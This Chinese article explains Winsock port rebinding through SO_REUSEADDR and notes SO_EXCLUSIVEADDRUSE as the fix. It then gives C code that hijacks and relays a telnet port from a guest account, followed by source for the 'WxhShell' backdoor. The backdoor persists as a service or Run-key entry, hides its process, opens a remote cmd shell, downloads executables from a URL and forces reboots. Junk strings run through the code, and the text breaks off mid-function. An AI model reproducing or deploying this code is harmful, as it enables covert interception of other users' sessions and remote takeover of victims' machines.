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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _)H+..= s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1{glRY' e ^&8x saddr.sin_family = AF_INET; g}j>;T DLQ`<aU saddr.sin_addr.s_addr = htonl(INADDR_ANY); X)+sHcE~# vPq\reKe bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); PvCE}bY{} v2z/|sG 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )bg,rESM Jg6[/7*m 这意味着什么?意味着可以进行如下的攻击: oRF"[G8BV iiFKt( 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 AiI# " ~Q\ZDMTK 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +~AI(h (ZSSp1Rv 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 '0]_8Sy& !|QeYGnq6 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 @Oay$gP{T C&"2`ll 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 nvs7s0@Fqe a5S/
O;ry 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 B{KD ] fYPU'"hzG 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 4hz,F/ I vw
2@}#\: #include 6%y: hLT #include q &o=4 #include @_nhA/rlc #include "Jd1&FsCwX DWORD WINAPI ClientThread(LPVOID lpParam); 2DQC)Pe+z int main() nxRrmR}F { (R,n`x2^ WORD wVersionRequested; mMWNUkDq DWORD ret; ]bSt[ WSADATA wsaData; e5]0<s$ BOOL val; 7FFYSv,[: SOCKADDR_IN saddr; }7v2GfEkM SOCKADDR_IN scaddr; Q{-r4n|b int err; jX,~iZ_B SOCKET s; fs12<~+z SOCKET sc; A1;t60z+q> int caddsize; nClU5 HANDLE mt; =Z$6+^L DWORD tid; >D aS*r wVersionRequested = MAKEWORD( 2, 2 ); 2p ,6=8^v err = WSAStartup( wVersionRequested, &wsaData ); [: j_Y3-9 if ( err != 0 ) { /_(Dq8^g@ printf("error!WSAStartup failed!\n"); '>$A7 return -1; y70gNPuTOD } |Ay#0uQ5Y saddr.sin_family = AF_INET; }y/t~f+ GTvb^+6 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Z&!$G'X v83 6nxL M saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?g.w%Mf* saddr.sin_port = htons(23); giq`L1< if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2kve?/ { \59hW%Di printf("error!socket failed!\n"); u] b6> return -1; ;_t on?bF } _v,n~a}& val = TRUE; g5[3[Z(. //SO_REUSEADDR选项就是可以实现端口重绑定的 vt,X:3 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ii scm\ { DdgFBO printf("error!setsockopt failed!\n"); h]$zub return -1; &y+eE?j } p04w83 jX //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Bnv%W4 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 R4;6Oi) //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 lHXH03 zYsGI<4 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) q[ZYlF,Ho { }J`Gm ret=GetLastError(); j!rz@Y3 printf("error!bind failed!\n"); )-oNy-YL return -1; h,g~J-x`| } ZAwl,N){ listen(s,2); w@We,FUJN while(1) j!dklQh0 { yfrgYA caddsize = sizeof(scaddr); 8%Lg)hvl //接受连接请求 7Cjrh"al" sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); J)]W[Nk if(sc!=INVALID_SOCKET) fM{Vy])J { ?K"]XXsI mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); tA.C" if(mt==NULL) R,lr&;a8 { t!GY>u>` printf("Thread Creat Failed!\n"); k6\c^%x break; #oI`j
q } WYL.J5O } 3#unh`3b CloseHandle(mt); =Ju}{ bX } "mA/:8` Q closesocket(s); _QY "# WSACleanup(); +W`~bX+ return 0; pppbn]%Ob } Q@R8qc=* DWORD WINAPI ClientThread(LPVOID lpParam) (%1*<6ka { *:(t.iL SOCKET ss = (SOCKET)lpParam; $fKWB5p|() SOCKET sc; lk|/N^8M unsigned char buf[4096]; 4M}/PoJ SOCKADDR_IN saddr; <:w7^m long num; zFIbCv8 DWORD val; #]2u!ama DWORD ret; .:}\Z27-c //如果是隐藏端口应用的话,可以在此处加一些判断 !=pemLvH //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 Zh$Z$85p saddr.sin_family = AF_INET; ~7v^7;tT saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); IkkrnG8 saddr.sin_port = htons(23); l_WY];a if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [B
Al { $8)/4P?OL printf("error!socket failed!\n"); O{PRK5 ^h return -1; "q8wEu,z[ } cP,jC(<N val = 100; W7 $yE},z if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N~Gh>{N { :L,]<n ret = GetLastError(); We|*s2! return -1;
@Hzsud } +t f= if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Vufw:}i+^ { @gd-lcMYW ret = GetLastError(); 4'M#m|V return -1; A<&9 } Kmtr.]Nj if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ts
]
+W!: { 1EN5ZN, printf("error!socket connect failed!\n"); W!g
, closesocket(sc); !**q20-aP closesocket(ss); Ua4} dW[w return -1; 1D$k:|pP~ } rqIt}(J while(1) 9iUw7-) { Uvp?HZ\Z //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Q]\xO/ //如果是嗅探内容的话,可以再此处进行内容分析和记录 'EQAG' YV //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 fN9hBC@ num = recv(ss,buf,4096,0); ^U1;5+2G+~ if(num>0) {)+/w"^. send(sc,buf,num,0); >z2{D7 else if(num==0) |67UN U break; *m7e>]- num = recv(sc,buf,4096,0); l!1bmg #]$ if(num>0) UCQL~ send(ss,buf,num,0); tU(6%zvR else if(num==0) @U}UC G7+ break; ny}?+&K } wGB'c's* closesocket(ss); WrV|<%EQh closesocket(sc); C]k\GlhB return 0 ; [4gv_g } 8/=2N L.5GX 29 >[#4Pb7_Y ========================================================== ?FLjvmE9 =y<Fz*aA 下边附上一个代码,,WXhSHELL 8n56rOW! m+L:\mvA ========================================================== *]rV,\z: o,d:{tt #include "stdafx.h" 90q*V%cS W uQdz&s> #include <stdio.h> *Q)+Y&qn #include <string.h> {uw]s<
6 #include <windows.h> tlW}lN} #include <winsock2.h> )TxhJB5| #include <winsvc.h> KS%,N _F< #include <urlmon.h> DP?gozm >uVG] #pragma comment (lib, "Ws2_32.lib") F$caKWzny5 #pragma comment (lib, "urlmon.lib") __a9}m4i7x zUOYH4+ #define MAX_USER 100 // 最大客户端连接数 4:K9FqU #define BUF_SOCK 200 // sock buffer }\9qN! ol #define KEY_BUFF 255 // 输入 buffer Q5Wb) ]UNmhF!W>u #define REBOOT 0 // 重启 5EU3BVu&u #define SHUTDOWN 1 // 关机 B%,0zb+-L jWm<!<~ #define DEF_PORT 5000 // 监听端口
;HW@ZI A;%fAI2Vr #define REG_LEN 16 // 注册表键长度 a^CIJ.P2 #define SVC_LEN 80 // NT服务名长度 J[^-k!9M vnKUD| // 从dll定义API !$O +M# typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
5!wa\)wY typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1PWDK1GI8 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z*k}I{0,- typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KjhOz%Yt[o S -im
o // wxhshell配置信息 H:CwUFL struct WSCFG { VH8,!# Q; int ws_port; // 监听端口 i#
QI}r char ws_passstr[REG_LEN]; // 口令 $:>K-4X\} int ws_autoins; // 安装标记, 1=yes 0=no ZN.
#g_ char ws_regname[REG_LEN]; // 注册表键名 1vX97n<} char ws_svcname[REG_LEN]; // 服务名 YM5;mPR char ws_svcdisp[SVC_LEN]; // 服务显示名 qLcs)&}/A char ws_svcdesc[SVC_LEN]; // 服务描述信息 F&ux9zP char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -ohqw+D int ws_downexe; // 下载执行标记, 1=yes 0=no 1%>/%eyn5 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 0(]C$*~mk char ws_filenam[SVC_LEN]; // 下载后保存的文件名 VLR W,lR9O Wu:evaZ:i }; `CRW2^g {`{U\w5Af // default Wxhshell configuration R+P1 +5 struct WSCFG wscfg={DEF_PORT, `}1 8A.K "xuhuanlingzhe", ;0 ,-ywK 1, emTqbO "Wxhshell", Qv#]T, "Wxhshell", BYRf MtT@+ "WxhShell Service", SI-s:%O "Wrsky Windows CmdShell Service", p2\@E}
z "Please Input Your Password: ", aCQAh[T 1, M4`qi3I " http://www.wrsky.com/wxhshell.exe", -_B*~M/vV` "Wxhshell.exe" &kh-2#E }; 3~Ah8, [V
=O$X_ // 消息定义模块 p?ICZg: char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L,BuzU[1S char *msg_ws_prompt="\n\r? for help\n\r#>"; &S/KR$^ % char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; wD4Kil=v char *msg_ws_ext="\n\rExit."; kid@*.I char *msg_ws_end="\n\rQuit."; yj-BLR5 char *msg_ws_boot="\n\rReboot..."; a:C
ly9 char *msg_ws_poff="\n\rShutdown..."; G8j$&1`: char *msg_ws_down="\n\rSave to "; t}+P|$[ ?3[as<GZ8 char *msg_ws_err="\n\rErr!"; H}`}qu #~V char *msg_ws_ok="\n\rOK!"; bIR7g(PJ.b Rkgpa/te" char ExeFile[MAX_PATH]; FK<1SOE int nUser = 0; Ean
#>h HANDLE handles[MAX_USER]; ht)J#Di int OsIsNt; [8[g_ I~|.Re9a SERVICE_STATUS serviceStatus; xzh`q SERVICE_STATUS_HANDLE hServiceStatusHandle; X$)<>e]!> *{6{ZKM // 函数声明 xO{yr[x"L int Install(void); DYx3NDX7 int Uninstall(void); it \3- int DownloadFile(char *sURL, SOCKET wsh); wMr*D['" # int Boot(int flag); 4+Wti!s void HideProc(void); -uX): h! int GetOsVer(void); )17CG*K1 int Wxhshell(SOCKET wsl); )k$ +T% void TalkWithClient(void *cs); @!`x^Tzz int CmdShell(SOCKET sock); 4YMX;W int StartFromService(void); N
8 n`f int StartWxhshell(LPSTR lpCmdLine); ^O}` i o-c.D=~ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "=@X>jUc VOID WINAPI NTServiceHandler( DWORD fdwControl ); f<?v.5($ MDAJ
p>o // 数据结构和表定义 0.!_k )tu SERVICE_TABLE_ENTRY DispatchTable[] = "dQ02y { &]tZ6 {wscfg.ws_svcname, NTServiceMain}, 0w)Gb}o$ {NULL, NULL} ?cF`T/z]" }; "2# #Fcu= Jpm=V*P // 自我安装 ^zn&"@ int Install(void) J#ujI e { XcLjUz ? char svExeFile[MAX_PATH]; 9Zw{MM] HKEY key; Qq+$ea?> strcpy(svExeFile,ExeFile); x}B3h9] OO#_0qK // 如果是win9x系统,修改注册表设为自启动 y\k#83aU| if(!OsIsNt) { SJ8Ax_9{q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~Z-o2+xA RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C%H{" RegCloseKey(key); )B)ecJJ_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X;'H@GU0 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); juIi-*R! RegCloseKey(key); OXp(rJ*bK return 0; #q?'<''d, } 9X/]O<i,Es } Kjzo>fIC{ } PUcxlD/a} else { UB^OMB-W.m K,j'!VQA4g // 如果是NT以上系统,安装为系统服务 <x-7MU& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /0 CS2mLC if (schSCManager!=0) JCFiKt9n { &Ql$7:r SC_HANDLE schService = CreateService #|8Ia:=s ( >UNx<=ry schSCManager, z*k(` ' wscfg.ws_svcname, |r['"6
wscfg.ws_svcdisp, XCvL` SERVICE_ALL_ACCESS, _3%eIyk4T SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uHeKttR- SERVICE_AUTO_START, SFJ"(ey$ SERVICE_ERROR_NORMAL, [8jIu&tJf svExeFile, AdD,94/ NULL, uo`zAKM&A NULL, "rA-u)Te NULL, '9u(9S NULL, !{q_Q ! NULL z_f^L %J0 ); D| |)H if (schService!=0) hU'h78bt( { Xrl# DN CloseServiceHandle(schService); L0.F}~S CloseServiceHandle(schSCManager); X~g U$ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ahkq strcat(svExeFile,wscfg.ws_svcname); Ua%;hI)j$ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -kzp>= RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZSvU1T8 RegCloseKey(key); 9x`1VR
: return 0; &8\6%C } 7K5 tBUNQ } `NySTd)\ CloseServiceHandle(schSCManager); q?y-s } InA=ty]"_U } |W*#N8IP ?`T Q'#P` return 1; mRO@ZY;5 } "*<)pnJ G,!{Q''w // 自我卸载 P](/5KrK int Uninstall(void) .no<#l { ULH<FDot HKEY key; @)XR 9CG&MvF c if(!OsIsNt) { O@HL%ha if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QpCTHpZ RegDeleteValue(key,wscfg.ws_regname); uN&UYJ'B RegCloseKey(key); U0=: `G2l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qr4.s$VGs* RegDeleteValue(key,wscfg.ws_regname);
YWAH( RegCloseKey(key); # Rhtaq9 return 0; x7GYWK
9 } p(>D5uN_}5 } s}q tM.^W } fG zx;<0P! else { <
v1.+ ~jJF&*) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); n|fKwWB\ if (schSCManager!=0) *b7evU *1 { % oJH 6F SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K;7ea47m N if (schService!=0) {X5G { @>*r2=#14 if(DeleteService(schService)!=0) { `y>BbJqy CloseServiceHandle(schService); &$bcB]C\3 CloseServiceHandle(schSCManager); '>cZ7: return 0; O1Ynl`} } }Gva=N: CloseServiceHandle(schService); +#L'gc } 8.HJoos CloseServiceHandle(schSCManager); J@A^k1B } Qe =8x7oIP } |G)P
I`BH ;b}cn!U] return 1; (3WK2IM^ } Ji.FG"h+2 NvvD~Bb // 从指定url下载文件 ;#L]7ZY9:- int DownloadFile(char *sURL, SOCKET wsh) B[~Q0lPih { <UY9<o HRESULT hr; &PPYxg< char seps[]= "/"; 40aD\S> char *token; (ys<{Y-; char *file; F9k}zAY\J char myURL[MAX_PATH]; 4C[kj char myFILE[MAX_PATH]; 2?F?C Z.`0 strcpy(myURL,sURL); 97dF token=strtok(myURL,seps); =)}Yw) while(token!=NULL) 5/R
~<z { z))rk vL% file=token; [e>2HIS, token=strtok(NULL,seps); 9a#Y
D;-p } LJA
uTg 1 F&}e&}c GetCurrentDirectory(MAX_PATH,myFILE); H2'djZ strcat(myFILE, "\\"); OaKr_m strcat(myFILE, file); tkQrxa| send(wsh,myFILE,strlen(myFILE),0); !yvw5As % send(wsh,"...",3,0); W/VEB3P>Z hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `# :(F z if(hr==S_OK) nub!*)q return 0; JQ|*XU else wlQ
@3RN> return 1; p+228K ;H .l,]yWwfK } Y4+iNdd dt0(04 // 系统电源模块 l,5isq
;m int Boot(int flag) E5?$=cL? { r`$P60,@C HANDLE hToken; c_t7< TOKEN_PRIVILEGES tkp; _q4Yq'dI Fr-Vq=j& if(OsIsNt) { k(xB%>ns OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %XQJ!sC` LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ZFtJoGaR tkp.PrivilegeCount = 1; >U.7>K
V& tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {N
<< JX AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^9]g5.z: if(flag==REBOOT) { H6Ytp^~> if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0KZ$v/m return 0; dGUiMix{N } WHqw=!G else { ps^["3e if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *uSlp_;kB return 0; ZENblh8fs } +Ht(_+To1 } _;R#B`9Iu else { ~>Y^?l if(flag==REBOOT) { Q3'P<"u if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q;#bFPh return 0; -v:3#9uX) } ,kUg"\_k else { 3[@:I^q if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2Sk hBb=d return 0; |"[;0)dw^ } VtMnLFMw } cYvt!M\ed r?|(t? return 1; g-H,*^g+ } QVah4wFL*. GP x+]Jw8\ // win9x进程隐藏模块 C`uL
4r void HideProc(void) -c{ Y+M` { '$VP\Gj. [+
: zlA HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t.
HwX9 if ( hKernel != NULL ) HdyE`FY \ { ]bbP_n8 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3NdO3-~) ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $oJjgA xcZ FreeLibrary(hKernel); #bCUI*N"P } =@&>r5W1 4pZKm-dM^ return; "Xl"H/3r } rHqP[[4B' a@AIv"q // 获取操作系统版本 RjR+'<7E^ int GetOsVer(void) E>:#{% { =BbXSwv'( OSVERSIONINFO winfo; 8Pva ]Q winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O]?\<&y GetVersionEx(&winfo); 5k?xBk=< if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8Q0/kG return 1; +: Nz_l else |,({$TrF return 0; Y\
;hjxR- } F6\4[B 7\ X_%SM % // 客户端句柄模块 ulk/I-y int Wxhshell(SOCKET wsl) s){VU2.ra { :fUNc^\2 SOCKET wsh; U lCw{:#F struct sockaddr_in client; Nr}O6IJ>Sg DWORD myID; xZ* B}O{{H Fu% n8 while(nUser<MAX_USER) mE'HRv { s#aane int nSize=sizeof(client); -al wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 69t6lB#;! if(wsh==INVALID_SOCKET) return 1; \^!<Y\\ 3Vk\iJ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); sxdDI?W4 if(handles[nUser]==0) ma/<#l^} closesocket(wsh); r=xec@R]* else ys:F nUser++; )`2ncb
} -
^Y\'y2 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :G=ol2Q e&K7n@ return 0; r1z+yx } m:k;?p:x *g9VI;X // 关闭 socket R:+?<U& void CloseIt(SOCKET wsh) 32pPeYxB!- { b(adM3MP closesocket(wsh); L-m'
# nUser--; k4en/& ExitThread(0); n\$.6
_@x } L+mHeS l #KuBEHr // 客户端请求句柄 y'<5P~W!a void TalkWithClient(void *cs) P,#l~ \ { s!]QG %`s1
Ocvp SOCKET wsh=(SOCKET)cs; |`|zo+aW char pwd[SVC_LEN]; 9`CJhu char cmd[KEY_BUFF]; iAeq%N1(0 char chr[1]; BQv*8Hg
B6 int i,j; AbQnx%$u Fr<tk^~/ while (nUser < MAX_USER) { M+)ENve 'b6qEU# if(wscfg.ws_passstr) { I9nm$,i]7 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \K lY8\c[ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e:.D^GFi
//ZeroMemory(pwd,KEY_BUFF); WopA7J, i=0; Q91mCP~$ while(i<SVC_LEN) { IU"n`HS '$4&q629d // 设置超时 OLGMy5 fd_set FdRead; @Y ?p-& struct timeval TimeOut; 5kHU'D FD_ZERO(&FdRead); VkId6k:>6C FD_SET(wsh,&FdRead); M"Z/E>ne TimeOut.tv_sec=8; g>a%
gVly TimeOut.tv_usec=0; -k%|sqDZj int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _^$F^}{& if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~|oB|> C?<[oQb# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f'tQLF[r< pwd =chr[0]; Z}IuR|= if(chr[0]==0xd || chr[0]==0xa) { +O8}twt@ pwd=0; <d[GGkY]= break; M=1~BZQ(Z } E};1
H i++; l{\k\Q !4 } <!*O[0s @mcP- // 如果是非法用户,关闭 socket =`!#V/= if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \SWuylE } RGBntp% `2j"Z.= send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3qDuF send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D}2$n?~+ PpSQf14, while(1) { R#ya9GN{ LRdV_O1e6M ZeroMemory(cmd,KEY_BUFF); \=(U tro bE jQMlb // 自动支持客户端 telnet标准 m$g{& j=0; =7S\-{ while(j<KEY_BUFF) { ;9)=~) if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yJ(ITJE_Z cmd[j]=chr[0]; mhNgXp)_56 if(chr[0]==0xa || chr[0]==0xd) { y#nyH0U cmd[j]=0; Nig)!4CG break; <[17&F0 } !3"Hn
j++; dAaxbP| } o KY0e&5 2W/*1K} // 下载文件 l5U ^lc if(strstr(cmd,"http://")) { r90R~'5x9 send(wsh,msg_ws_down,strlen(msg_ws_down),0); +1eb@bX if(DownloadFile(cmd,wsh)) 99[v/L>F send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZCDXy else ko~e*31_E send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JNI&]3[C>? } xfqU
atC else { uzT>|uu$ Mu_'C$zA switch(cmd[0]) { bGik~ .0dx@Sbv // 帮助 F[X;A\ case '?': { ALKzR433/ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >6'brb break; f=>iiv } V)mi1H|m // 安装 HZ89x|Hk_ case 'i': { ZRUI';5x if(Install()) Pj7MR/AH send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]w!=1( else #
tU@\H5kN send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %kk~qvW break; sb%l N } ka:wD?>1i // 卸载 _!o0bYD case 'r': { e?e oy| if(Uninstall()) $o*p#LU send(wsh,msg_ws_err,strlen(msg_ws_err),0); |YrvY1d! else wR9gx-bE
4 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0fa8.g#I$ break; vARZwIu^D } :]`JcJ // 显示 wxhshell 所在路径 k-$J # case 'p': { c`#4}$ char svExeFile[MAX_PATH]; ZC&4uNUr strcpy(svExeFile,"\n\r"); Bs<LJzS{V strcat(svExeFile,ExeFile); e!4Kl: send(wsh,svExeFile,strlen(svExeFile),0); nyPW6VQ0n break; W\z<p P } uJJP<mDgA // 重启 `^DP<&{ case 'b': { bE" J&;| send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5pq9x4& if(Boot(REBOOT)) 7zu3o send(wsh,msg_ws_err,strlen(msg_ws_err),0); inyS 4tb else { ?MJ5GVeH closesocket(wsh); w)Y}hlcq ExitThread(0); D^w<V%]. } 2/l4,x break; {G _|gs } vtTXs]> // 关机 D 6F/9| case 'd': { ,>I_2mc send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a0cW=0l= if(Boot(SHUTDOWN)) iBqIV send(wsh,msg_ws_err,strlen(msg_ws_err),0); /gE9 W else { w1t0X{ closesocket(wsh); Cta!"=\ ExitThread(0); =5M
'+> } 1i$OcN?x% break; TK#-;p_ } Oz.Zxw // 获取shell \LDcIK= case 's': { W u693< CmdShell(wsh); P)hawH= closesocket(wsh); eRIdN(pP ExitThread(0); $+HS^m break; 4\2~wSr } OC2%9Igx0 // 退出 s9Bd mD^|# case 'x': { _P{v=`]Eu send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f{#Mc CloseIt(wsh); ,CnUQx0 break; /Pa<I^-# } 90+Hv:wF // 离开 Jv:|J
DZ' case 'q': { Bh!J&SM: send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^r~R]stE^ closesocket(wsh); i<{/r-w=E WSACleanup(); Z/I`XPmk exit(1); 'a enhj break; K?mly$ } QK`2^ } "4i_} } (OHd} YQ n`7n5M* // 提示信息 ,NQ>,}a0 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Mer\W6e"e } pPZ^T5-ks } 0 mR ~sc@49p return; lV2MRxI } )1]LoEdm` h3kBNBI ) // shell模块句柄 =|bW >y int CmdShell(SOCKET sock) WFFpW{ { ~uu~NTz STARTUPINFO si; WWWfQ_u2 ZeroMemory(&si,sizeof(si)); F84?Mi{r2 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; , MU9p* si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; aV?r %'~Z PROCESS_INFORMATION ProcessInfo; zGE{Z A char cmdline[]="cmd"; ?C9>bKo*2H CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }#U3vMx( return 0; dLTA21b# } \)9R1zp/x &SK=ZOKg^ // 自身启动模式 CI,xp
int StartFromService(void) Q*AgFF%wn { T 9?!.o typedef struct =;HmU.Uek% { +v'n[xa1v DWORD ExitStatus; 78<QNlKn DWORD PebBaseAddress; &0S/]E`_M DWORD AffinityMask; -qRO}EF DWORD BasePriority; ;:pd/\< ULONG UniqueProcessId; ;= {Z Bx ULONG InheritedFromUniqueProcessId; WWYG>C[ } PROCESS_BASIC_INFORMATION; "Q<*H<e _7w2E PROCNTQSIP NtQueryInformationProcess; yj{:%Km:` 98eS f static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; MHKB:t]hA static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q CB9z mPo] .z HANDLE hProcess; _a=f.I PROCESS_BASIC_INFORMATION pbi; \78kShx T?E[LzZg HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y7#4Mcc`~ if(NULL == hInst ) return 0; a'ODm6# \ g[A{ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6WnGP>tc. g_pGetModuleBaseName = 